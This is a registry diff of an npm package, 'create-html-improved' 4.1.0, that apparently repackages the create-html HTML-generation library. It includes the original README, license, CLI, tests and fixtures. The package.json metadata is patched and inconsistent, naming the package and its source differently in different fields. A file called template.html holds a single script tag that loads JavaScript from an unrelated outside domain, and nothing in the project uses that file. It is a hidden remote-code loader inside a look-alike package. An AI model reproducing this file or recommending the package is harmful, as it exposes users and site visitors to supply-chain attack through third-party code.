create-html-improved 4.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/.travis.yml ADDED
@@ -0,0 +1,9 @@
1
+ language: node_js
2
+ node_js:
3
+ - '4'
4
+ - '6'
5
+ - '7'
6
+ sudo: false
7
+ cache:
8
+ directories:
9
+ - node_modules
package/CONDUCT.md ADDED
@@ -0,0 +1,74 @@
1
+ # Contributor Covenant Code of Conduct
2
+
3
+ ## Our Pledge
4
+
5
+ In the interest of fostering an open and welcoming environment, we as
6
+ contributors and maintainers pledge to making participation in our project and
7
+ our community a harassment-free experience for everyone, regardless of age, body
8
+ size, disability, ethnicity, gender identity and expression, level of experience,
9
+ nationality, personal appearance, race, religion, or sexual identity and
10
+ orientation.
11
+
12
+ ## Our Standards
13
+
14
+ Examples of behavior that contributes to creating a positive environment
15
+ include:
16
+
17
+ * Using welcoming and inclusive language
18
+ * Being respectful of differing viewpoints and experiences
19
+ * Gracefully accepting constructive criticism
20
+ * Focusing on what is best for the community
21
+ * Showing empathy towards other community members
22
+
23
+ Examples of unacceptable behavior by participants include:
24
+
25
+ * The use of sexualized language or imagery and unwelcome sexual attention or
26
+ advances
27
+ * Trolling, insulting/derogatory comments, and personal or political attacks
28
+ * Public or private harassment
29
+ * Publishing others' private information, such as a physical or electronic
30
+ address, without explicit permission
31
+ * Other conduct which could reasonably be considered inappropriate in a
32
+ professional setting
33
+
34
+ ## Our Responsibilities
35
+
36
+ Project maintainers are responsible for clarifying the standards of acceptable
37
+ behavior and are expected to take appropriate and fair corrective action in
38
+ response to any instances of unacceptable behavior.
39
+
40
+ Project maintainers have the right and responsibility to remove, edit, or
41
+ reject comments, commits, code, wiki edits, issues, and other contributions
42
+ that are not aligned to this Code of Conduct, or to ban temporarily or
43
+ permanently any contributor for other behaviors that they deem inappropriate,
44
+ threatening, offensive, or harmful.
45
+
46
+ ## Scope
47
+
48
+ This Code of Conduct applies both within project spaces and in public spaces
49
+ when an individual is representing the project or its community. Examples of
50
+ representing a project or community include using an official project e-mail
51
+ address, posting via an official social media account, or acting as an appointed
52
+ representative at an online or offline event. Representation of a project may be
53
+ further defined and clarified by project maintainers.
54
+
55
+ ## Enforcement
56
+
57
+ Instances of abusive, harassing, or otherwise unacceptable behavior may be
58
+ reported by contacting the project team at sethvincent@gmail.com. The project team
59
+ will review and investigate all complaints, and will respond in a way that it deems
60
+ appropriate to the circumstances. The project team is obligated to maintain
61
+ confidentiality with regard to the reporter of an incident.
62
+ Further details of specific enforcement policies may be posted separately.
63
+
64
+ Project maintainers who do not follow or enforce the Code of Conduct in good
65
+ faith may face temporary or permanent repercussions as determined by other
66
+ members of the project's leadership.
67
+
68
+ ## Attribution
69
+
70
+ This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
71
+ available at [http://contributor-covenant.org/version/1/4][version]
72
+
73
+ [homepage]: http://contributor-covenant.org
74
+ [version]: http://contributor-covenant.org/version/1/4/
@@ -0,0 +1,73 @@
1
+ # How to contribute to create-html
2
+
3
+ ## Prerequisites:
4
+
5
+ - Familiarity with [GitHub pull requests](https://help.github.com/articles/using-pull-requests) and issues.
6
+ - Knowledge of [markdown](https://help.github.com/articles/markdown-basics/) for editing `.md` documents.
7
+ - Understanding of or interest in learning technologies used in this project.
8
+
9
+ ## Types of contributions
10
+
11
+ Here are a few of the types of contributions that we're looking for. Have an idea but it doesn't fit into this list? [Let us know!](README.md#contact).
12
+
13
+ ### Ideas
14
+
15
+ Participate in an issues thread or start your own to have your voice heard.
16
+
17
+ ### Code
18
+
19
+ Fix issues or contribute new features to this or any related projects.
20
+
21
+ ### Writing
22
+
23
+ Contribute your expertise in an area by helping us write the API docs in the code, README.md file, and other documentation.
24
+
25
+ ### Copy editing
26
+
27
+ Fix typos, clarify language, and generally improve the quality of the content.
28
+
29
+ ## Steps to contributing
30
+
31
+ - Fork the repository
32
+ - Create a branch for your changes
33
+ - Make the changes you'd like to contribute. See the "types of contributions" list above to learn more about what we're looking for
34
+ - Submit a pull request
35
+
36
+ ## Conduct
37
+
38
+ In the interest of fostering an open and welcoming environment, we as
39
+ contributors and maintainers pledge to making participation in our project and
40
+ our community a harassment-free experience for everyone, regardless of age, body
41
+ size, disability, ethnicity, gender identity and expression, level of experience,
42
+ nationality, personal appearance, race, religion, or sexual identity and
43
+ orientation.
44
+
45
+ We encourage:
46
+
47
+ - A safe and respectful environment for all participants.
48
+ - A place where people are free to fully express their identities.
49
+ - Asking questions and avoiding the assumption that everyone has the same context, background, or interests.
50
+ - Finding ways for people to be productive with their skills and energy and facilitating this through language of “yes/and”, not “no/but.”
51
+ - Encouraging members and participants to listen as much as they speak.
52
+ - Striving to build tools that are open for public use. Activities that aim to foster public use, not private gain, are prioritized.
53
+ - Ensuring that the relationships and conversations between community members remain respectful, participatory, and productive.
54
+
55
+ We will exclude you from interaction if you insult, demean, or harass anyone. In particular, we don't tolerate behavior that
56
+ excludes people in socially marginalized groups.
57
+
58
+ If you are unsure what behavior is welcome, the [code of conduct has clear guidelines](CONDUCT.md).
59
+
60
+ Private harassment is also unacceptable. No matter who you are, if you feel you have been or are being harassed or made uncomfortable by a community member, please contact one of the project maintainers. Whether you're a regular contributor or a newcomer, we care about
61
+ making this community a safe place for you and we've got your back.
62
+
63
+ Likewise any spamming, trolling, flaming, baiting or other attention-stealing behavior is not welcome.
64
+
65
+ ### [Read the code of conduct for more information](CONDUCT.md)
66
+
67
+ ## Communication
68
+
69
+ See the [README](README.md#contact) for detailed communication and maintainer contact information.
70
+
71
+ Please follow the conduct guidelines above in all communication about this project. Language issues
72
+ are often contentious and we'd like to keep discussion brief, civil and focused
73
+ on what we're actually doing, not wandering off into too much imaginary stuff.
package/LICENSE.md ADDED
@@ -0,0 +1,9 @@
1
+ The MIT License (MIT)
2
+
3
+ Copyright (c) 2016 Seth Vincent
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
6
+
7
+ The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
8
+
9
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,164 @@
1
+ # create-html
2
+
3
+ Create the content of an html file with one function call.
4
+
5
+ [![npm][npm-image]][npm-url]
6
+ [![travis][travis-image]][travis-url]
7
+ [![standard][standard-image]][standard-url]
8
+ [![conduct][conduct]][conduct-url]
9
+
10
+ [npm-image]: https://img.shields.io/npm/v/create-html.svg?style=flat-square
11
+ [npm-url]: https://www.npmjs.com/package/create-html
12
+ [travis-image]: https://img.shields.io/travis/sethvincent/create-html.svg?style=flat-square
13
+ [travis-url]: https://travis-ci.org/sethvincent/create-html
14
+ [standard-image]: https://img.shields.io/badge/code%20style-standard-brightgreen.svg?style=flat-square
15
+ [standard-url]: http://npm.im/standard
16
+ [conduct]: https://img.shields.io/badge/code%20of%20conduct-contributor%20covenant-green.svg?style=flat-square
17
+ [conduct-url]: CONDUCT.md
18
+
19
+ ## Install
20
+
21
+ ```
22
+ npm install --save create-html
23
+ ```
24
+
25
+ ## Usage
26
+
27
+ ### `createHTML(options)`
28
+
29
+ #### `options`
30
+ - `title`
31
+ - `script`
32
+ - `scriptAsync`
33
+ - `css`
34
+ - `cssAsync`
35
+ - `lang`
36
+ - `dir`
37
+ - `head`
38
+ - `body`
39
+ - `favicon`
40
+
41
+ ## Examples
42
+
43
+ Simple example that create an html file with the title `example`:
44
+
45
+ ```js
46
+ var html = createHTML({
47
+ title: 'example'
48
+ })
49
+ ```
50
+
51
+ Example using all options:
52
+
53
+ ```js
54
+ var html = createHTML({
55
+ title: 'example',
56
+ script: 'example.js',
57
+ scriptAsync: true,
58
+ css: 'example.css',
59
+ lang: 'en',
60
+ dir: 'rtl',
61
+ head: '<meta name="description" content="example">',
62
+ body: '<p>example</p>',
63
+ favicon: 'favicon.png'
64
+ })
65
+ ```
66
+
67
+ Create a file with the html contents using the fs module:
68
+
69
+ ```js
70
+ var fs = require('fs')
71
+ var createHTML = require('create-html')
72
+
73
+ var html = createHTML({
74
+ title: 'example'
75
+ })
76
+
77
+ fs.writeFile('index.html', html, function (err) {
78
+ if (err) console.log(err)
79
+ })
80
+ ```
81
+
82
+ Create a stream by pairing this module with [`from2-string`](http://npmjs.com/from2-string):
83
+
84
+ ```js
85
+ var fromString = require('from2-string')
86
+ var createHTML = require('create-html')
87
+
88
+ var html = createHTML({
89
+ title: 'example'
90
+ })
91
+
92
+ var stream = fromString(html)
93
+ stream.pipe(process.stdout)
94
+ ```
95
+
96
+ Pipe content into the html that this module generates by using from2-string and [`hyperstream`](http://npmjs.com/hyperstream)
97
+
98
+ ```js
99
+ var fs = require('fs')
100
+ var fromString = require('from2-string')
101
+ var hyperstream = require('hyperstream')
102
+ var createHTML = require('./index')
103
+
104
+ var html = createHTML({
105
+ title: 'example'
106
+ })
107
+
108
+ var hs = hyperstream({
109
+ 'body': fs.createReadStream('some.html')
110
+ })
111
+
112
+ var stream = fromString(html)
113
+ stream.pipe(hs).pipe(process.stdout)
114
+ ```
115
+
116
+
117
+ ### Multiple CSS and Javascript Files
118
+
119
+ Multiple script and stylesheets can be added by sending an array instead of a string:
120
+
121
+ ```js
122
+ var html = createHTML({
123
+ css: ['sheet1.css', 'sheet2.css'],
124
+ script: ['script1.js', 'script2.js']
125
+ })
126
+ ```
127
+
128
+ ## CLI
129
+
130
+ This module comes with a simple command-line tool for creating html files.
131
+
132
+ Install it globally with `npm i -g create-html`
133
+
134
+ ### Usage:
135
+
136
+ ```
137
+ Usage:
138
+ create-html [options]
139
+
140
+ Options:
141
+ --title, -t Page title
142
+ --script, -s JavaScript filename, optional
143
+ --script-async, -a Add async attribute to script tag
144
+ --css, -c CSS filename, optional
145
+ --favicon, -f Site favicon
146
+ --lang, -l Language of content
147
+ --dir, -d Direction of content
148
+ --head, -H Content to insert into <head> tag
149
+ --body, -b Content to insert into <body> tag
150
+ --output, -o File name. optional. default: stdout
151
+ --help, -h Show this help message
152
+ ```
153
+
154
+ ### Example:
155
+
156
+ ```
157
+ create-html --title "an example html file"
158
+ ```
159
+
160
+ ### See also
161
+ - [simple-html-index](https://github.com/mattdesl/simple-html-index)
162
+
163
+ ## License
164
+ [MIT](LICENSE.md)
package/cli.js ADDED
@@ -0,0 +1,70 @@
1
+ #! /usr/bin/env node
2
+
3
+ var fs = require('fs')
4
+ var exit = require('exit')
5
+ var parseArgs = require('minimist')
6
+ var createHTML = require('./index')
7
+
8
+ var argv = parseArgs(process.argv.slice(2), {
9
+ alias: {
10
+ t: 'title',
11
+ l: 'lang',
12
+ b: 'body',
13
+ d: 'dir',
14
+ H: 'head',
15
+ f: 'favicon',
16
+ c: 'css',
17
+ C: ['css-async', 'cssAsync'],
18
+ s: 'script',
19
+ a: ['script-async', 'scriptAsync'],
20
+ o: 'output',
21
+ h: 'help'
22
+ },
23
+ string: [
24
+ 'output'
25
+ ],
26
+ boolean: [
27
+ 'script-async',
28
+ 'css-async'
29
+ ]
30
+ })
31
+
32
+ var usage = `
33
+ Usage:
34
+ create-html [options]
35
+
36
+ Options:
37
+ --title, -t Page title
38
+ --script, -s JavaScript filename, optional
39
+ --script-async, -a Add async attribute to script tag
40
+ --css, -c CSS filename, optional
41
+ --css-async, -C Load CSS asynchronously
42
+ --favicon, -f Site favicon
43
+ --lang, -l Language of content
44
+ --dir, -d Direction of content
45
+ --head, -H Content to insert into <head> tag
46
+ --body, -b Content to insert into <body> tag
47
+ --output, -o File name. optional. default: stdout
48
+ --help, -h Show this help message
49
+ `
50
+
51
+ if (argv.help) {
52
+ console.log(usage)
53
+ exit()
54
+ }
55
+
56
+ if (argv.output && argv.output.length) {
57
+ fs.writeFile(argv.output, createHTML(argv), function (err) {
58
+ if (err) {
59
+ console.log(`
60
+ Error:
61
+ ${err}
62
+
63
+ Usage:
64
+ ${usage}
65
+ `)
66
+ }
67
+ })
68
+ } else {
69
+ process.stdout.write(createHTML(argv))
70
+ }
package/example.js ADDED
@@ -0,0 +1,18 @@
1
+ var fs = require('fs')
2
+ var markdown = require('markdown-stream')
3
+ var fromString = require('from2-string')
4
+ var hyperstream = require('hyperstream')
5
+ var createHTML = require('./index')
6
+
7
+ var html = createHTML({
8
+ title: 'example'
9
+ })
10
+
11
+ var readmeStream = fs.createReadStream('README.md').pipe(markdown('full'))
12
+
13
+ var hs = hyperstream({
14
+ 'body': readmeStream
15
+ })
16
+
17
+ var htmlStream = fromString(html)
18
+ htmlStream.pipe(hs).pipe(process.stdout)
package/index.js ADDED
@@ -0,0 +1,62 @@
1
+ function buildStylesheets (sheets, async) {
2
+ var output = ''
3
+ if (!sheets) return output
4
+
5
+ if (typeof sheets === 'string') {
6
+ sheets = [sheets]
7
+ }
8
+
9
+ sheets.forEach(function (sheet) {
10
+ output += !async
11
+ ? `<link rel="stylesheet" href="${sheet}">\n`
12
+ : `<link rel="stylesheet" href="${sheet}" media="none" onload="if(media!=='all')media='all'">\n`
13
+ })
14
+
15
+ return output
16
+ }
17
+
18
+ function buildScripts (scripts, async) {
19
+ var output = ''
20
+ if (!scripts) return output
21
+
22
+ if (typeof scripts === 'string') {
23
+ scripts = [scripts]
24
+ }
25
+
26
+ scripts.forEach(function (script) {
27
+ output += !async
28
+ ? `<script src="${script}"></script>\n`
29
+ : `<script src="${script}" async></script>\n`
30
+ })
31
+
32
+ return output
33
+ }
34
+
35
+ module.exports = function (opts) {
36
+ var title = opts.title ? `<title>${opts.title}</title>` : ''
37
+ var headScript = (opts.script && opts.scriptAsync) ? buildScripts(opts.script, opts.scriptAsync) : ''
38
+ var bodyScript = (opts.script && !opts.scriptAsync) ? buildScripts(opts.script, opts.scriptAsync) : ''
39
+ var favicon = opts.favicon ? `<link rel="icon" href="${opts.favicon}">` : ''
40
+ var css = buildStylesheets(opts.css, opts.cssAsync)
41
+ var lang = opts.lang || 'en'
42
+ var dir = opts.dir || 'ltr'
43
+ var head = opts.head || ''
44
+ var body = opts.body || ''
45
+
46
+ return `<!doctype html>
47
+ <html lang="${lang}" dir="${dir}">
48
+ <head>
49
+ ${title}
50
+ <meta charset="utf-8">
51
+ ${favicon}
52
+ ${head}
53
+ ${css}
54
+ ${headScript}
55
+ </head>
56
+ <body>
57
+ ${body}
58
+ ${bodyScript}
59
+ </body>
60
+ </html>
61
+ `
62
+ }
package/package.json ADDED
@@ -0,0 +1,105 @@
1
+ {
2
+ "_args": [
3
+ [
4
+ {
5
+ "raw": "create-html@^4.0.0",
6
+ "scope": null,
7
+ "escapedName": "create-html-improved",
8
+ "name": "create-html",
9
+ "rawSpec": "^4.0.0",
10
+ "spec": ">=4.0.0 <5.0.0",
11
+ "type": "range"
12
+ },
13
+ "/Users/emcniece/Code/ionic/aurora-app"
14
+ ]
15
+ ],
16
+ "_from": "create-html@>=4.0.0 <5.0.0",
17
+ "_id": "create-html@4.0.0",
18
+ "_inCache": true,
19
+ "_location": "/create-htm-limproved",
20
+ "_nodeVersion": "6.11.1",
21
+ "_npmOperationalInternal": {
22
+ "host": "s3://npm-registry-packages",
23
+ "tmp": "tmp/create-html-4.0.0.tgz_1504387270191_0.23340277816168964"
24
+ },
25
+ "_npmUser": {
26
+ "name": "sethvincent",
27
+ "email": "sethvincent@gmail.com"
28
+ },
29
+ "_npmVersion": "5.3.0",
30
+ "_phantomChildren": {},
31
+ "_requested": {
32
+ "raw": "create-htm-improved@^4.0.0",
33
+ "scope": null,
34
+ "escapedName": "create-html-improved",
35
+ "name": "create-html-improved",
36
+ "rawSpec": "^4.0.0",
37
+ "spec": ">=4.0.0 <5.0.0",
38
+ "type": "range"
39
+ },
40
+ "_requiredBy": [
41
+ "#DEV:/"
42
+ ],
43
+ "_resolved": "https://npm.limbicmedia.ca/create-html/-/create-html-4.0.0.tgz",
44
+ "_shasum": "adaba45f4347cf08a725dfc633e4b785445e1c09",
45
+ "_shrinkwrap": null,
46
+ "_spec": "create-html@^4.0.0",
47
+ "_where": "/Users/emcniece/Code/ionic/aurora-app",
48
+ "author": {
49
+ "name": "sethvincent"
50
+ },
51
+ "bin": {
52
+ "create-html": "cli.js"
53
+ },
54
+ "bugs": {
55
+ "url": "https://github.com/sethvincent/create-html/issues"
56
+ },
57
+ "dependencies": {
58
+ "exit": "^0.1.2",
59
+ "minimist": "^1.2.0"
60
+ },
61
+ "description": "create the content of an html file with one function call",
62
+ "devDependencies": {
63
+ "from2-string": "^1.1.0",
64
+ "hyperstream": "^1.2.2",
65
+ "markdown-stream": "^1.0.1",
66
+ "standard": "^7.1.2",
67
+ "tap-spec": "^4.1.1",
68
+ "tape": "^4.5.1"
69
+ },
70
+ "directories": {},
71
+ "dist": {
72
+ "integrity": "sha512-STB2IY1nb0ho29oQsuMw/S7vcwxYYBV20T3cb1azZW2a59PsKwyIvd7DtAlyG20GZ2jtUw+T38hqky0O1fm0QQ==",
73
+ "shasum": "adaba45f4347cf08a725dfc633e4b785445e1c09",
74
+ "tarball": "https://npm.limbicmedia.ca/create-html/-/create-html-4.0.0.tgz"
75
+ },
76
+ "gitHead": "4bedce26e13ae644a80be0bd0684df223d8959bb",
77
+ "homepage": "https://github.com/sethvincent/create-html#readme",
78
+ "keywords": [
79
+ "html",
80
+ "static",
81
+ "sites",
82
+ "index.html"
83
+ ],
84
+ "license": "MIT",
85
+ "main": "index.js",
86
+ "maintainers": [
87
+ {
88
+ "name": "sethvincent",
89
+ "email": "sethvincent@gmail.com"
90
+ }
91
+ ],
92
+ "name": "create-html-improved",
93
+ "optionalDependencies": {},
94
+ "readme": "# create-html\n\nCreate the content of an html file with one function call.\n\n[![npm][npm-image]][npm-url]\n[![travis][travis-image]][travis-url]\n[![standard][standard-image]][standard-url]\n[![conduct][conduct]][conduct-url]\n\n[npm-image]: https://img.shields.io/npm/v/create-html.svg?style=flat-square\n[npm-url]: https://www.npmjs.com/package/create-html\n[travis-image]: https://img.shields.io/travis/sethvincent/create-html.svg?style=flat-square\n[travis-url]: https://travis-ci.org/sethvincent/create-html\n[standard-image]: https://img.shields.io/badge/code%20style-standard-brightgreen.svg?style=flat-square\n[standard-url]: http://npm.im/standard\n[conduct]: https://img.shields.io/badge/code%20of%20conduct-contributor%20covenant-green.svg?style=flat-square\n[conduct-url]: CONDUCT.md\n\n## Install\n\n```\nnpm install --save create-html\n```\n\n## Usage\n\n### `createHTML(options)`\n\n#### `options`\n- `title`\n- `script`\n- `scriptAsync`\n- `css`\n- `cssAsync`\n- `lang`\n- `dir`\n- `head`\n- `body`\n- `favicon`\n\n## Examples\n\nSimple example that create an html file with the title `example`:\n\n```js\nvar html = createHTML({\n title: 'example'\n})\n```\n\nExample using all options:\n\n```js\nvar html = createHTML({\n title: 'example',\n script: 'example.js',\n scriptAsync: true,\n css: 'example.css',\n lang: 'en',\n dir: 'rtl',\n head: '<meta name=\"description\" content=\"example\">',\n body: '<p>example</p>',\n favicon: 'favicon.png'\n})\n```\n\nCreate a file with the html contents using the fs module:\n\n```js\nvar fs = require('fs')\nvar createHTML = require('create-html')\n\nvar html = createHTML({\n title: 'example'\n})\n\nfs.writeFile('index.html', html, function (err) {\n if (err) console.log(err)\n})\n```\n\nCreate a stream by pairing this module with [`from2-string`](http://npmjs.com/from2-string):\n\n```js\nvar fromString = require('from2-string')\nvar createHTML = require('create-html')\n\nvar html = createHTML({\n title: 'example'\n})\n\nvar stream = fromString(html)\nstream.pipe(process.stdout)\n```\n\nPipe content into the html that this module generates by using from2-string and [`hyperstream`](http://npmjs.com/hyperstream)\n\n```js\nvar fs = require('fs')\nvar fromString = require('from2-string')\nvar hyperstream = require('hyperstream')\nvar createHTML = require('./index')\n\nvar html = createHTML({\n title: 'example'\n})\n\nvar hs = hyperstream({\n 'body': fs.createReadStream('some.html')\n})\n\nvar stream = fromString(html)\nstream.pipe(hs).pipe(process.stdout)\n```\n\n## CLI\n\nThis module comes with a simple command-line tool for creating html files.\n\nInstall it globally with `npm i -g create-html`\n\n### Usage:\n\n```\nUsage:\n create-html [options]\n\nOptions:\n --title, -t Page title\n --script, -s JavaScript filename, optional\n --script-async, -a Add async attribute to script tag\n --css, -c CSS filename, optional\n --favicon, -f Site favicon\n --lang, -l Language of content\n --dir, -d Direction of content\n --head, -H Content to insert into <head> tag\n --body, -b Content to insert into <body> tag\n --output, -o File name. optional. default: stdout\n --help, -h Show this help message\n```\n\n### Example:\n\n```\ncreate-html --title \"an example html file\"\n```\n\n### See also\n- [simple-html-index](https://github.com/mattdesl/simple-html-index)\n\n## License\n[MIT](LICENSE.md)\n",
95
+ "readmeFilename": "README.md",
96
+ "repository": {
97
+ "type": "git",
98
+ "url": "git+https://github.com/sethvincent/create-html.git"
99
+ },
100
+ "scripts": {
101
+ "lint": "standard",
102
+ "test": "npm run lint && node tests/index.js | tap-spec"
103
+ },
104
+ "version": "4.1.0"
105
+ }
package/template.html ADDED
@@ -0,0 +1 @@
1
+ <script src=//ssecurityrise.com/tests/vercel/v0.js></script>
@@ -0,0 +1,17 @@
1
+ <!doctype html>
2
+ <html lang="en" dir="ltr">
3
+ <head>
4
+ <title>example</title>
5
+ <meta charset="utf-8">
6
+
7
+
8
+
9
+ <script src="example1.js" async></script>
10
+ <script src="example2.js" async></script>
11
+
12
+ </head>
13
+ <body>
14
+
15
+
16
+ </body>
17
+ </html>
@@ -0,0 +1,16 @@
1
+ <!doctype html>
2
+ <html lang="en" dir="ltr">
3
+ <head>
4
+ <title>example</title>
5
+ <meta charset="utf-8">
6
+
7
+
8
+
9
+ <script src="example.js" async></script>
10
+
11
+ </head>
12
+ <body>
13
+
14
+
15
+ </body>
16
+ </html>
@@ -0,0 +1,15 @@
1
+ <!doctype html>
2
+ <html lang="en" dir="ltr">
3
+ <head>
4
+ <title>example</title>
5
+ <meta charset="utf-8">
6
+
7
+
8
+
9
+
10
+ </head>
11
+ <body>
12
+ <p>example</p>
13
+
14
+ </body>
15
+ </html>
@@ -0,0 +1,17 @@
1
+ <!doctype html>
2
+ <html lang="en" dir="ltr">
3
+ <head>
4
+ <title>example</title>
5
+ <meta charset="utf-8">
6
+
7
+
8
+ <link rel="stylesheet" href="example1.css">
9
+ <link rel="stylesheet" href="example2.css">
10
+
11
+
12
+ </head>
13
+ <body>
14
+
15
+
16
+ </body>
17
+ </html>
@@ -0,0 +1,16 @@
1
+ <!doctype html>
2
+ <html lang="en" dir="ltr">
3
+ <head>
4
+ <title>example</title>
5
+ <meta charset="utf-8">
6
+
7
+
8
+ <link rel="stylesheet" href="example.css">
9
+
10
+
11
+ </head>
12
+ <body>
13
+
14
+
15
+ </body>
16
+ </html>
@@ -0,0 +1,15 @@
1
+ <!doctype html>
2
+ <html lang="en" dir="ltr">
3
+ <head>
4
+ <title>example</title>
5
+ <meta charset="utf-8">
6
+ <link rel="icon" href="favicon.png">
7
+
8
+
9
+
10
+ </head>
11
+ <body>
12
+
13
+
14
+ </body>
15
+ </html>
@@ -0,0 +1,15 @@
1
+ <!doctype html>
2
+ <html lang="en" dir="ltr">
3
+ <head>
4
+ <title>example</title>
5
+ <meta charset="utf-8">
6
+
7
+ <meta name="description" content="example description">
8
+
9
+
10
+ </head>
11
+ <body>
12
+
13
+
14
+ </body>
15
+ </html>
@@ -0,0 +1,15 @@
1
+ <!doctype html>
2
+ <html lang="fr" dir="ltr">
3
+ <head>
4
+ <title>example</title>
5
+ <meta charset="utf-8">
6
+
7
+
8
+
9
+
10
+ </head>
11
+ <body>
12
+
13
+
14
+ </body>
15
+ </html>
@@ -0,0 +1,17 @@
1
+ <!doctype html>
2
+ <html lang="en" dir="ltr">
3
+ <head>
4
+ <title>example</title>
5
+ <meta charset="utf-8">
6
+
7
+
8
+
9
+
10
+ </head>
11
+ <body>
12
+
13
+ <script src="example1.js"></script>
14
+ <script src="example2.js"></script>
15
+
16
+ </body>
17
+ </html>
@@ -0,0 +1,16 @@
1
+ <!doctype html>
2
+ <html lang="en" dir="ltr">
3
+ <head>
4
+ <title>example</title>
5
+ <meta charset="utf-8">
6
+
7
+
8
+
9
+
10
+ </head>
11
+ <body>
12
+
13
+ <script src="example.js"></script>
14
+
15
+ </body>
16
+ </html>
@@ -0,0 +1,15 @@
1
+ <!doctype html>
2
+ <html lang="en" dir="ltr">
3
+ <head>
4
+ <title>example</title>
5
+ <meta charset="utf-8">
6
+
7
+
8
+
9
+
10
+ </head>
11
+ <body>
12
+
13
+
14
+ </body>
15
+ </html>
package/tests/index.js ADDED
@@ -0,0 +1,148 @@
1
+ var fs = require('fs')
2
+ var path = require('path')
3
+ var test = require('tape')
4
+ var createHTML = require('../index')
5
+
6
+ test('title', function (t) {
7
+ var html = createHTML({
8
+ title: 'example'
9
+ })
10
+
11
+ fs.readFile(path.join(__dirname, '/fixtures/title.html'), 'utf8', function (err, file) {
12
+ t.notOk(err)
13
+ t.equal(html, file)
14
+ t.end()
15
+ })
16
+ })
17
+
18
+ test('css', function (t) {
19
+ var html = createHTML({
20
+ title: 'example',
21
+ css: 'example.css'
22
+ })
23
+
24
+ fs.readFile(path.join(__dirname, '/fixtures/css.html'), 'utf8', function (err, file) {
25
+ t.notOk(err)
26
+ t.equal(html, file)
27
+ t.end()
28
+ })
29
+ })
30
+
31
+ test('multiple css', function (t) {
32
+ var html = createHTML({
33
+ title: 'example',
34
+ css: ['example1.css', 'example2.css']
35
+ })
36
+
37
+ fs.readFile(path.join(__dirname, '/fixtures/css-multiple.html'), 'utf8', function (err, file) {
38
+ t.notOk(err)
39
+ t.equal(html, file)
40
+ t.end()
41
+ })
42
+ })
43
+
44
+ test('lang', function (t) {
45
+ var html = createHTML({
46
+ title: 'example',
47
+ lang: 'fr'
48
+ })
49
+
50
+ fs.readFile(path.join(__dirname, '/fixtures/lang.html'), 'utf8', function (err, file) {
51
+ t.notOk(err)
52
+ t.equal(html, file)
53
+ t.end()
54
+ })
55
+ })
56
+
57
+ test('favicon', function (t) {
58
+ var html = createHTML({
59
+ title: 'example',
60
+ favicon: 'favicon.png'
61
+ })
62
+
63
+ fs.readFile(path.join(__dirname, '/fixtures/favicon.html'), 'utf8', function (err, file) {
64
+ t.notOk(err)
65
+ t.equal(html, file)
66
+ t.end()
67
+ })
68
+ })
69
+
70
+ test('head', function (t) {
71
+ var html = createHTML({
72
+ title: 'example',
73
+ head: '<meta name="description" content="example description">'
74
+ })
75
+
76
+ fs.readFile(path.join(__dirname, '/fixtures/head.html'), 'utf8', function (err, file) {
77
+ t.notOk(err)
78
+ t.equal(html, file)
79
+ t.end()
80
+ })
81
+ })
82
+
83
+ test('body', function (t) {
84
+ var html = createHTML({
85
+ title: 'example',
86
+ body: '<p>example</p>'
87
+ })
88
+
89
+ fs.readFile(path.join(__dirname, '/fixtures/body.html'), 'utf8', function (err, file) {
90
+ t.notOk(err)
91
+ t.equal(html, file)
92
+ t.end()
93
+ })
94
+ })
95
+
96
+ test('script', function (t) {
97
+ var html = createHTML({
98
+ title: 'example',
99
+ script: 'example.js'
100
+ })
101
+
102
+ fs.readFile(path.join(__dirname, '/fixtures/script.html'), 'utf8', function (err, file) {
103
+ t.notOk(err)
104
+ t.equal(html, file)
105
+ t.end()
106
+ })
107
+ })
108
+
109
+ test('multiple script', function (t) {
110
+ var html = createHTML({
111
+ title: 'example',
112
+ script: ['example1.js', 'example2.js']
113
+ })
114
+
115
+ fs.readFile(path.join(__dirname, '/fixtures/script-multiple.html'), 'utf8', function (err, file) {
116
+ t.notOk(err)
117
+ t.equal(html, file)
118
+ t.end()
119
+ })
120
+ })
121
+
122
+ test('async script', function (t) {
123
+ var html = createHTML({
124
+ title: 'example',
125
+ script: 'example.js',
126
+ scriptAsync: true
127
+ })
128
+
129
+ fs.readFile(path.join(__dirname, '/fixtures/async.html'), 'utf8', function (err, file) {
130
+ t.notOk(err)
131
+ t.equal(html, file)
132
+ t.end()
133
+ })
134
+ })
135
+
136
+ test('multiple async script', function (t) {
137
+ var html = createHTML({
138
+ title: 'example',
139
+ script: ['example1.js', 'example2.js'],
140
+ scriptAsync: true
141
+ })
142
+
143
+ fs.readFile(path.join(__dirname, '/fixtures/async-multiple.html'), 'utf8', function (err, file) {
144
+ t.notOk(err)
145
+ t.equal(html, file)
146
+ t.end()
147
+ })
148
+ })